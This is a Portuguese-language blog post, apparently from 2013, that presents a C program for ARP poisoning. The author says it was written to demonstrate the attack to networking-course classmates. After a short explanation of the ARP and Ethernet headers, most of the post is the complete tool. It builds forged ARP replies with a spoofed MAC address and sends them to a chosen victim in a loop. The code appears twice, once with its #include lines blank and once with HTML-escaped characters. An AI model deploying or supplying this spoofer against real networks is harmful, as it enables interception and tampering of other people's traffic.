Exploit - ARP Poisoning em C
Autor: Vinicius B. | Publicado: 2013-05-19T09:14:00-07:00





Créditos à: Romero Júnior.

blog.romerojunior.com/indice



Para começar a envolver um pouco de programação [direcionada a redes] nas postagens, resolvi começar com um exploit que escrevi a algumas noites atrás para demonstrar um ataque de ARP Poisoning para meus colegas de turma da Cisco Networking Academy.


O código é bastante simples e não usa mais do que qualquer distribuição Linux oferece por padrão em seu banco de “includes” (/usr/include/), nele iremos estabelecer comunicação direta com a nossa NIC, tratando assim de uma codificação low-level, o que pode parecer incomodo para alguns, mas não há nenhum bicho de sete cabeças, acreditem que a grande dificuldade é compreender o funcionamento de dois protocolos básicos, o primeiro deles [e mais óbvio] é o Address Resolution Protocol, que se encontra na camada 3 (assim como os protocolos IPv4 e IPv6), observe abaixo sua representação gráfica:

Logo abaixo dele se econtra o Ethernet (IEEE 802.3), não entrarei em muitos detalhes sobre o Ethernet e suas vertentes,&nbsp; sua implementação [que se limitará ao seu header] independe de seu padrões específicos, abaixo segue sua representação gráfica:

O funcionamento do ARP é simples, e para encomizar palavras (e não roubar o foco da postagem, que de fato é a programação), abaixo segue uma ilustração que exemplifica o seu funcionamento:Finalmente, vamos ao que interessa! O código para explorar a vulnerabilidade nessa infraestrutura é o seguinte:&nbsp;[Compilado em Ubuntu 10.10, ECLIPSE IDE C/C++ (GCC)]



#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

// por Romero Júnior em 01/10/2011
//* Definição das variáveis globais:
char * SRC_ETHER_ADDR;
char * DST_ETHER_ADDR;
char * SRC_IP;
char * DST_IP;
char * INTERFACE;

// Estrutura de dados do cabeçalho Ethernet:
typedef struct EthernetHeader{

    // Informações básicas sobre tipagem:
    //      Unsigned char = 0 a 255 (ou 00 a FF) = 1 byte
    //      Short (short integer) = 2 bytes

    unsigned char destination[6]; // 48 bits (endereço MAC de destino)
    unsigned char source[6]; // 48 bits (endereço MAC de origem)
    unsigned short protocol;
    // Exemplo: 0x0806 = ARP
    //          0x0800 = IPv4
    //          0x88DD = IPv6

}EthernetHeader;

// Estrutura de dados do cabeçalho ARP:
typedef struct ArpHeader{

    unsigned short hardware_type; // 2 bytes
    // Exemplo: 0x0001 = Ethernet

    unsigned short protocol_type; // 2 bytes
    // Exemplo:

    unsigned char hard_addr_len; // 1 byte
    unsigned char prot_addr_len; // 1 byte
    unsigned short opcode; // 2 bytes
    unsigned char source_hardware[6]; // 48 bits
    unsigned char source_ip[4]; // 32 bits
    unsigned char dest_hardware[6]; // 48 bits
    unsigned char dest_ip[4]; // 32 bits

}ArpHeader;

int CreateRawSocket(int protocol_to_use){

    int rawsock; // int = 4 bytes (32 bits)

    // Básico sobre função "socket":
    //  Se houver erros, retornará o valor -1.
    //  PF_PACKET = trabalha a nivel da NIC
    //  SOCK_RAW = dominio
    //  htons = retorna o código do protocolo a ser usado.

    if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_use))) == -1){
        perror("Erro ao criar raw socket: ");
        exit(-1);
    }

    return rawsock;

}

int BindRawSocketToInterface(char *device, int rawsock, int protocol){

    // Crio duas estruturas baseadas no tipo sockaddr_ll e ifreq:
    struct sockaddr_ll sll;
    struct ifreq ifr;

    // Zero o conteudo delas, setando tudo para 00000(...)
    bzero(&sll, sizeof(sll));
    bzero(&ifr, sizeof(ifr));

    strncpy((char *)ifr.ifr_name, device, IFNAMSIZ);
    if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1){
        perror("Erro ao associar o indice de interface!\n");
        exit(-1);
    }

    // Associa o pacote a interface:
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifr.ifr_ifindex;
    sll.sll_protocol = htons(protocol);

    if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1){
        perror("Erro ao associar o raw socket a interface!\n");
        exit(-1);
    }

    return 1;

}

int SendRawPacket(int rawsock, unsigned char *pkt, int pkt_len){

    int sent = 0;

    // A parte fácil: escrever no socket!

    if((sent = write(rawsock, pkt, pkt_len)) != pkt_len){
        perror("Não foi possível enviar o socket!");
        return 0;
    }

    return 1;
}

// Usando a estrutura previamente criada, vamos agora de fato criar a
// função para gerar o nosso header Ethernet:

EthernetHeader* CreateEthernetHeader(char *src_mac, char *dst_mac, int protocol){

    EthernetHeader *ethernet_header;

    // Alocando dinamicamente espaço em memória para sua utilização:
    // (Apenas 1 simples bit alocado no espaço errado o trabalho será prejudicado!)
    ethernet_header = (EthernetHeader *)malloc(sizeof(EthernetHeader));

    memcpy(ethernet_header->source, (void *)ether_aton(src_mac), 6);
    memcpy(ethernet_header->destination, (void *)ether_aton(dst_mac), 6);
    ethernet_header->protocol = htons(protocol);

    return (ethernet_header);
}

ArpHeader* CreateArpHeader(void){

    ArpHeader *arp_header;
    in_addr_t temp;

    arp_header = (ArpHeader *)malloc(sizeof(struct ArpHeader));

    arp_header->hardware_type = htons(ARPHRD_ETHER); // 0x0001 - Ethernet
    arp_header->protocol_type = htons(ETHERTYPE_IP); // 0x0800 - IPv4
    arp_header->hard_addr_len = 6;
    arp_header->prot_addr_len = 4;
    arp_header->opcode = htons(ARPOP_REPLY); // 0x0002 - Reply

    memcpy(arp_header->source_hardware, (void *)ether_aton(SRC_ETHER_ADDR), 6);
    temp = inet_addr(SRC_IP);
    memcpy(&(arp_header->source_ip), &temp, 4);
    memcpy(arp_header->dest_hardware, (void *)ether_aton(DST_ETHER_ADDR), 6);
    temp = inet_addr(DST_IP);
    memcpy(&(arp_header->dest_ip), &temp, 4);

    return arp_header;
}

void error(){
    printf("ARP Poisoning [interface][source IP][spoof mac address][mac da vitima][ip da vitima]");
    exit(1);
}


main(int argc, char **argv){

    int raw;
    unsigned char *packet;
    EthernetHeader *ethernet_header;
    ArpHeader *arp_header;
    int pkt_len;


    if(argv[1] == NULL){
        error();
    }

    if(argv[2] == NULL){
        error();
    }

    if(argv[3] == NULL){
        error();
    }
    if(argv[4] == NULL){
        error();
    }
    if(argv[5] == NULL){
        error();
    }


    INTERFACE = argv[1];
    SRC_IP = argv[2];
    SRC_ETHER_ADDR = argv[3];
    DST_ETHER_ADDR = argv[4];
    DST_IP = argv[5];

    raw = CreateRawSocket(ETH_P_ALL);
    BindRawSocketToInterface(INTERFACE, raw, ETH_P_ALL);
    ethernet_header = CreateEthernetHeader(SRC_ETHER_ADDR, DST_ETHER_ADDR, ETHERTYPE_ARP);
    arp_header = CreateArpHeader();
    pkt_len = sizeof(EthernetHeader) + sizeof(ArpHeader);

    packet = (unsigned char *)malloc(pkt_len);

    memcpy(packet, ethernet_header, sizeof(EthernetHeader));
    memcpy((packet + sizeof(EthernetHeader)), arp_header, sizeof(ArpHeader));


    //o grande momento:

    while(1){

            if(!SendRawPacket(raw, packet, pkt_len)){
                perror("Erro ao enviar pacote");
            }else{
                printf("ARP enviado com sucesso!\n");
            }

        sleep(5);

    }

    free(ethernet_header);
    free(arp_header);
    free(packet);

    close(raw);

    return 0;

}






#include&lt;stdio.h&gt;
#include&lt;stdlib.h&gt;
#include&lt;sys/socket.h&gt;
#include&lt;features.h&gt;
#include&lt;net/if.h&gt;
#include&lt;linux/if_packet.h&gt;
#include&lt;linux/if_ether.h&gt;
#include&lt;errno.h&gt;
#include&lt;sys/ioctl.h&gt;
#include&lt;net/ethernet.h&gt;
#include&lt;net/if_arp.h&gt;
#include&lt;arpa/inet.h&gt;
#include&lt;netinet/in.h&gt;

// por Romero Júnior em 01/10/2011
//* Definição das variáveis globais:
char * SRC_ETHER_ADDR;
char * DST_ETHER_ADDR;
char * SRC_IP;
char * DST_IP;
char * INTERFACE;

// Estrutura de dados do cabeçalho Ethernet:
typedef struct EthernetHeader{

    // Informações básicas sobre tipagem:
    //      Unsigned char = 0 a 255 (ou 00 a FF) = 1 byte
    //      Short (short integer) = 2 bytes

    unsigned char destination[6]; // 48 bits (endereço MAC de destino)
    unsigned char source[6]; // 48 bits (endereço MAC de origem)
    unsigned short protocol;
    // Exemplo: 0x0806 = ARP
    //          0x0800 = IPv4
    //          0x88DD = IPv6

}EthernetHeader;

// Estrutura de dados do cabeçalho ARP:
typedef struct ArpHeader{

    unsigned short hardware_type; // 2 bytes
    // Exemplo: 0x0001 = Ethernet

    unsigned short protocol_type; // 2 bytes
    // Exemplo:

    unsigned char hard_addr_len; // 1 byte
    unsigned char prot_addr_len; // 1 byte
    unsigned short opcode; // 2 bytes
    unsigned char source_hardware[6]; // 48 bits
    unsigned char source_ip[4]; // 32 bits
    unsigned char dest_hardware[6]; // 48 bits
    unsigned char dest_ip[4]; // 32 bits

}ArpHeader;

int CreateRawSocket(int protocol_to_use){

    int rawsock; // int = 4 bytes (32 bits)

    // Básico sobre função "socket":
    //  Se houver erros, retornará o valor -1.
    //  PF_PACKET = trabalha a nivel da NIC
    //  SOCK_RAW = dominio
    //  htons = retorna o código do protocolo a ser usado.

    if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_use))) == -1){
        perror("Erro ao criar raw socket: ");
        exit(-1);
    }

    return rawsock;

}

int BindRawSocketToInterface(char *device, int rawsock, int protocol){

    // Crio duas estruturas baseadas no tipo sockaddr_ll e ifreq:
    struct sockaddr_ll sll;
    struct ifreq ifr;

    // Zero o conteudo delas, setando tudo para 00000(...)
    bzero(&amp;sll, sizeof(sll));
    bzero(&amp;ifr, sizeof(ifr));

    strncpy((char *)ifr.ifr_name, device, IFNAMSIZ);
    if((ioctl(rawsock, SIOCGIFINDEX, &amp;ifr)) == -1){
        perror("Erro ao associar o indice de interface!\n");
        exit(-1);
    }

    // Associa o pacote a interface:
    sll.sll_family = AF_PACKET;
    sll.sll_ifindex = ifr.ifr_ifindex;
    sll.sll_protocol = htons(protocol);

    if((bind(rawsock, (struct sockaddr *)&amp;sll, sizeof(sll)))== -1){
        perror("Erro ao associar o raw socket a interface!\n");
        exit(-1);
    }

    return 1;

}

int SendRawPacket(int rawsock, unsigned char *pkt, int pkt_len){

    int sent = 0;

    // A parte fácil: escrever no socket!

    if((sent = write(rawsock, pkt, pkt_len)) != pkt_len){
        perror("Não foi possível enviar o socket!");
        return 0;
    }

    return 1;
}

// Usando a estrutura previamente criada, vamos agora de fato criar a
// função para gerar o nosso header Ethernet:

EthernetHeader* CreateEthernetHeader(char *src_mac, char *dst_mac, int protocol){

    EthernetHeader *ethernet_header;

    // Alocando dinamicamente espaço em memória para sua utilização:
    // (Apenas 1 simples bit alocado no espaço errado o trabalho será prejudicado!)
    ethernet_header = (EthernetHeader *)malloc(sizeof(EthernetHeader));

    memcpy(ethernet_header-&gt;source, (void *)ether_aton(src_mac), 6);
    memcpy(ethernet_header-&gt;destination, (void *)ether_aton(dst_mac), 6);
    ethernet_header-&gt;protocol = htons(protocol);

    return (ethernet_header);
}

ArpHeader* CreateArpHeader(void){

    ArpHeader *arp_header;
    in_addr_t temp;

    arp_header = (ArpHeader *)malloc(sizeof(struct ArpHeader));

    arp_header-&gt;hardware_type = htons(ARPHRD_ETHER); // 0x0001 - Ethernet
    arp_header-&gt;protocol_type = htons(ETHERTYPE_IP); // 0x0800 - IPv4
    arp_header-&gt;hard_addr_len = 6;
    arp_header-&gt;prot_addr_len = 4;
    arp_header-&gt;opcode = htons(ARPOP_REPLY); // 0x0002 - Reply

    memcpy(arp_header-&gt;source_hardware, (void *)ether_aton(SRC_ETHER_ADDR), 6);
    temp = inet_addr(SRC_IP);
    memcpy(&amp;(arp_header-&gt;source_ip), &amp;temp, 4);
    memcpy(arp_header-&gt;dest_hardware, (void *)ether_aton(DST_ETHER_ADDR), 6);
    temp = inet_addr(DST_IP);
    memcpy(&amp;(arp_header-&gt;dest_ip), &amp;temp, 4);

    return arp_header;
}

void error(){
    printf("ARP Poisoning [interface][source IP][spoof mac address][mac da vitima][ip da vitima]");
    exit(1);
}


main(int argc, char **argv){

    int raw;
    unsigned char *packet;
    EthernetHeader *ethernet_header;
    ArpHeader *arp_header;
    int pkt_len;


    if(argv[1] == NULL){
        error();
    }

    if(argv[2] == NULL){
        error();
    }

    if(argv[3] == NULL){
        error();
    }
    if(argv[4] == NULL){
        error();
    }
    if(argv[5] == NULL){
        error();
    }


    INTERFACE = argv[1];
    SRC_IP = argv[2];
    SRC_ETHER_ADDR = argv[3];
    DST_ETHER_ADDR = argv[4];
    DST_IP = argv[5];

    raw = CreateRawSocket(ETH_P_ALL);
    BindRawSocketToInterface(INTERFACE, raw, ETH_P_ALL);
    ethernet_header = CreateEthernetHeader(SRC_ETHER_ADDR, DST_ETHER_ADDR, ETHERTYPE_ARP);
    arp_header = CreateArpHeader();
    pkt_len = sizeof(EthernetHeader) + sizeof(ArpHeader);

    packet = (unsigned char *)malloc(pkt_len);

    memcpy(packet, ethernet_header, sizeof(EthernetHeader));
    memcpy((packet + sizeof(EthernetHeader)), arp_header, sizeof(ArpHeader));


    //o grande momento:

    while(1){

            if(!SendRawPacket(raw, packet, pkt_len)){
                perror("Erro ao enviar pacote");
            }else{
                printf("ARP enviado com sucesso!\n");
            }

        sleep(5);

    }

    free(ethernet_header);
    free(arp_header);
    free(packet);

    close(raw);

    return 0;

}